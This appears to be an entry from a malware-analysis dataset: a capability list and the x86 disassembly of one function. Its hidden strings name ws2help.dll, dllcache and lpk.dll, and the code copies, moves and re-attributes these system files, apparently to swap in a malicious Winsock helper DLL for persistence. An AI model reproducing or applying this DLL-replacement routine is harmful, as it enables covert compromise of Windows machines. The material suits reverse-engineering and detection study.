Function at 0x403040
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Get common file path
Move file
Set file attributes

Disassembly:
sub esp, 0xc40
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x945]
mov byte [esp + 0x944], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, 0x6c
mov bl, 0x70
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x53c]
mov byte [esp + 0x534], 0x5c
mov byte [esp + 0x535], dl
mov byte [esp + 0x536], bl
mov byte [esp + 0x537], 0x6b
mov byte [esp + 0x538], 0x2e
mov byte [esp + 0x539], 0x64
mov byte [esp + 0x53a], dl
mov byte [esp + 0x53b], dl
mov byte [esp + 0x430], 0x5c
rep stosd dword es:[edi], eax
mov ecx, 0x3e
lea edi, [esp + 0x43a]
mov byte [esp + 0x431], 0x77
mov byte [esp + 0x432], 0x78
mov byte [esp + 0x433], bl
mov byte [esp + 0x434], 0x32
mov byte [esp + 0x435], 0x2e
mov byte [esp + 0x436], 0x74
mov byte [esp + 0x437], 0x65
mov byte [esp + 0x438], 0x6d
mov byte [esp + 0x439], bl
mov byte [esp + 0x124], 0x5c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x132]
mov byte [esp + 0x125], 0x77
mov byte [esp + 0x126], 0x73
mov byte [esp + 0x127], 0x32
mov byte [esp + 0x128], 0x68
mov byte [esp + 0x129], 0x65
mov byte [esp + 0x12a], dl
mov byte [esp + 0x12b], bl
mov byte [esp + 0x12c], 0x78
mov byte [esp + 0x12d], bl
mov byte [esp + 0x12e], 0x2e
mov byte [esp + 0x12f], 0x64
mov byte [esp + 0x130], dl
mov byte [esp + 0x131], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x338]
mov byte [esp + 0x32c], 0x5c
mov byte [esp + 0x32d], 0x77
mov byte [esp + 0x32e], 0x73
mov byte [esp + 0x32f], 0x32
mov byte [esp + 0x330], 0x68
mov byte [esp + 0x331], 0x65
mov byte [esp + 0x332], dl
mov byte [esp + 0x333], bl
mov byte [esp + 0x334], 0x2e
mov byte [esp + 0x335], 0x64
mov byte [esp + 0x336], dl
mov byte [esp + 0x337], dl
mov byte [esp + 0x20], 0x5c
rep stosd dword es:[edi], eax
mov al, 0x63
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], al
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], al
mov ecx, 0x3b
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x27], 0x68
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x5c
mov byte [esp + 0x2a], 0x77
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x32
mov byte [esp + 0x2d], 0x68
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x639]
mov byte [esp + 0x638], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xa49]
mov byte [esp + 0xa48], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x841]
mov byte [esp + 0x840], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xb4d]
mov byte [esp + 0xb4c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x73d]
mov byte [esp + 0x73c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x944]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edi, [esp + 0x944]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x638]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x638]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x228]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x944]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x228]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x32c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x840]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x944]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x840]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x124]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xb50]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x948]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xb50]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x538]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xa4c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea edi, [esp + 0x430]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xa48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x228]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402960
lea ecx, [esp + 0x844]
push ecx
call fcn.00402960
add esp, 8
lea edx, [esp + 0x840]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push edx
call edi
mov ebp, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
test eax, eax
jne 0x4035e6
lea eax, [esp + 0x638]
push 0x80
push eax
call ebp
lea ecx, [esp + 0x638]
push ecx
call edi
lea edx, [esp + 0x840]
push 0
test eax, eax
push edx
je 0x4035a2
lea eax, [esp + 0x640]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 2
call fcn.004028a0
lea ecx, [esp + 0x63c]
push eax
push ecx
lea edx, [esp + 0x748]
push 0x40217c
push edx
call ebx
add esp, 0x14
lea eax, [esp + 0x73c]
lea ecx, [esp + 0x638]
push 3
push eax
jmp 0x4035e3
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 2
call fcn.004028a0
lea ecx, [esp + 0x22c]
push eax
push ecx
lea edx, [esp + 0x748]
push 0x40217c
push edx
call ebx
add esp, 0x14
lea eax, [esp + 0x73c]
lea ecx, [esp + 0x228]
push 3
push eax
push ecx
call esi
lea edx, [esp + 0xa48]
push edx
push 0x66
push 0x402178
push 0
call fcn.00402710
add esp, 0x10
lea eax, [esp + 0x228]
lea ecx, [esp + 0xa48]
push 3
push eax
push ecx
call esi
test eax, eax
jne 0x403680
lea edx, [esp + 0x228]
push edx
call edi
test eax, eax
je 0x40365b
push 2
call fcn.004028a0
push eax
lea eax, [esp + 0x230]
push eax
lea ecx, [esp + 0x748]
push 0x40217c
push ecx
call ebx
add esp, 0x14
lea edx, [esp + 0x73c]
lea eax, [esp + 0x228]
push 3
push edx
push eax
call esi
lea ecx, [esp + 0x228]
push ecx
push 0x66
push 0x402178
push 0
call fcn.00402710
add esp, 0x10
lea edx, [esp + 0x228]
push 4
push edx
call ebp
lea eax, [esp + 0x10]
lea ecx, [esp + 0xb4c]
push eax
push ecx
call fcn.00402820
add esp, 8
test eax, eax
je 0x4036c9
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
sub esp, 0x10
mov edx, esp
mov dword [edx], eax
mov eax, dword [esp + 0x28]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x2c]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea edx, [esp + 0x238]
push edx
call fcn.00402790
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc40
ret